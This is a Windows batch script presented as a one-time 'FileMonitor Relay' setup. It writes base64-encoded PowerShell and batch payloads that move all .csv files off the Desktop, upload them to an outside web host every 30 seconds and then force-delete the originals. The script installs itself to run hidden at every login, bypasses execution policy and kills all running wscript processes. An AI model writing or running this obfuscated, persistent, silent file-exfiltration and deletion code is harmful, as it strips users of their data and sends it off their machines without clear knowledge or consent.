@echo off
title FileMonitor Setup
color 0A
echo FileMonitor Relay - One-time Setup (browser-independent upload)
echo Extensions: .csv
echo.
if not exist "C:\FileMonitor" mkdir "C:\FileMonitor"
echo [OK] C:\FileMonitor ready.
powershell -NoProfile -Command "[IO.File]::WriteAllBytes('C:\FileMonitor\relay.ps1',[Convert]::FromBase64String('JEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICdTaWxlbnRseUNvbnRpbnVlJw0KJGV4dHMgPSBAKCcuY3N2JykNCiRkZXNrdG9wID0gW0Vudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aCgnRGVza3RvcCcpDQokbW9uICAgICA9ICdDOlxGaWxlTW9uaXRvcicNCiR1cmwgICAgID0gJ2h0dHBzOi8vZmlsZS1tb25pdG9yLmFpc3RlaW4yNC5jb20vYXBpL3VwbG9hZC1maWxlJw0KDQojIOKUgOKUgCBTdGFnZSAxOiBEZXNrdG9wIOKGkiBDOlxGaWxlTW9uaXRvciAocm9ib2NvcHkgL01PViDigJQg7J2064+ZIOymieyLnCDsm5Drs7gg7IKt7KCcKSDilIDilIANCiMgcm9ib2NvcHnripQg67O17IKsIOyEseqztSDtm4Qg7JuQ67O47J2EIOyCreygnC4g7J6g6riIIOyLnCAvUjow7Jy866GcIOymieyLnCDtj6zquLAg4oaSIOuLpOydjCDso7zquLAg7J6s7Iuc64+EDQpmb3JlYWNoICgkZXh0IGluICRleHRzKSB7DQogICAgJGdsb2IgPSAiKiRleHQiDQogICAgcm9ib2NvcHkgJGRlc2t0b3AgJG1vbiAkZ2xvYiAvTU9WIC9JUyAvUjowIC9XOjAgL05QIC9OUyAvTkMgL05GTCAvTkRMIC9OSkggL05KUyAyPmAkbnVsbCB8IE91dC1OdWxsDQp9DQoNCiMg4pSA4pSAIFN0YWdlIDI6IEM6XEZpbGVNb25pdG9yIOKGkiBEcml2ZSAo7JeF66Gc65OcIOyEseqztSDsi5wg7KaJ7IucIOyCreygnCkg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSADQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5OZXQuSHR0cA0KJGNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5IdHRwLkh0dHBDbGllbnQNCiRjbGllbnQuVGltZW91dCA9IFtUaW1lU3Bhbl06OkZyb21TZWNvbmRzKDMwKQ0KR2V0LUNoaWxkSXRlbSAkbW9uIC1GaWxlIHwgV2hlcmUtT2JqZWN0IHsgJGV4dHMgLWNvbnRhaW5zICRfLkV4dGVuc2lvbi5Ub0xvd2VyKCkgfSB8IEZvckVhY2gtT2JqZWN0IHsNCiAgICAkZiA9ICRfDQogICAgdHJ5IHsNCiAgICAgICAgJG1jICAgID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0Lkh0dHAuTXVsdGlwYXJ0Rm9ybURhdGFDb250ZW50DQogICAgICAgICRieXRlcyA9IFtTeXN0ZW0uSU8uRmlsZV06OlJlYWRBbGxCeXRlcygkZi5GdWxsTmFtZSkNCiAgICAgICAgJGJjICAgID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0Lkh0dHAuQnl0ZUFycmF5Q29udGVudCAtQXJndW1lbnRMaXN0ICgsJGJ5dGVzKQ0KICAgICAgICAkYmMuSGVhZGVycy5Db250ZW50VHlwZSA9IFtTeXN0ZW0uTmV0Lkh0dHAuSGVhZGVycy5NZWRpYVR5cGVIZWFkZXJWYWx1ZV06OlBhcnNlKCdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKQ0KICAgICAgICAkbWMuQWRkKCRiYywgJ2ZpbGUnLCAkZi5OYW1lKQ0KICAgICAgICAkdGFzayA9ICRjbGllbnQuUG9zdEFzeW5jKCR1cmwsICRtYyk7ICR0YXNrLldhaXQoKQ0KICAgICAgICBpZiAoJHRhc2suUmVzdWx0LklzU3VjY2Vzc1N0YXR1c0NvZGUpIHsNCiAgICAgICAgICAgIFNldC1JdGVtUHJvcGVydHkgLUxpdGVyYWxQYXRoICRmLkZ1bGxOYW1lIC1OYW1lIElzUmVhZE9ubHkgLVZhbHVlICRmYWxzZSAtRUEgU2lsZW50bHlDb250aW51ZQ0KICAgICAgICAgICAgUmVtb3ZlLUl0ZW0gLUxpdGVyYWxQYXRoICRmLkZ1bGxOYW1lIC1Gb3JjZSAtRUEgU2lsZW50bHlDb250aW51ZQ0KICAgICAgICB9DQogICAgICAgICRtYy5EaXNwb3NlKCkNCiAgICB9IGNhdGNoIHt9DQp9DQokY2xpZW50LkRpc3Bvc2UoKQ=='))"
echo [OK] relay.ps1 created.
powershell -NoProfile -Command "[IO.File]::WriteAllBytes('C:\FileMonitor\relay.bat',[Convert]::FromBase64String('QGVjaG8gb2ZmDQo6bG9vcA0KaWYgZXhpc3QgIkM6XEZpbGVNb25pdG9yXC5zdG9wIiAodGltZW91dCAvdCA1IC9ub2JyZWFrID5udWwgJiBnb3RvIGxvb3ApDQpwb3dlcnNoZWxsIC1Ob1Byb2ZpbGUgLUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLUZpbGUgIkM6XEZpbGVNb25pdG9yXHJlbGF5LnBzMSINCnRpbWVvdXQgL3QgMzAgL25vYnJlYWsgPm51bA0KZ290byBsb29w'))"
echo [OK] relay.bat created.
echo.
powershell -NoProfile -Command "$q=[char]34;'Set o=CreateObject(' + $q + 'WScript.Shell' + $q + '):o.Run ' + $q + 'C:\FileMonitor\relay.bat' + $q + ',0,False' | Set-Content -Path 'C:\FileMonitor\run_silent.vbs' -Encoding ASCII"
echo [OK] run_silent.vbs created.
copy /Y "C:\FileMonitor\run_silent.vbs" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\FileMonitorRelay.vbs" >nul
echo [OK] Added to Windows startup.
taskkill /F /IM wscript.exe >nul 2>nul
start "" wscript.exe "C:\FileMonitor\run_silent.vbs"
echo [OK] Relay running silently (no window).
echo.
echo Setup complete!
echo - Uploads directly to server via PowerShell (no browser needed)
echo - Relay runs silently, no window
echo - Auto-starts on every Windows login
echo - Select C:\FileMonitor in the web app (optional, for log viewing only)
echo.
pause
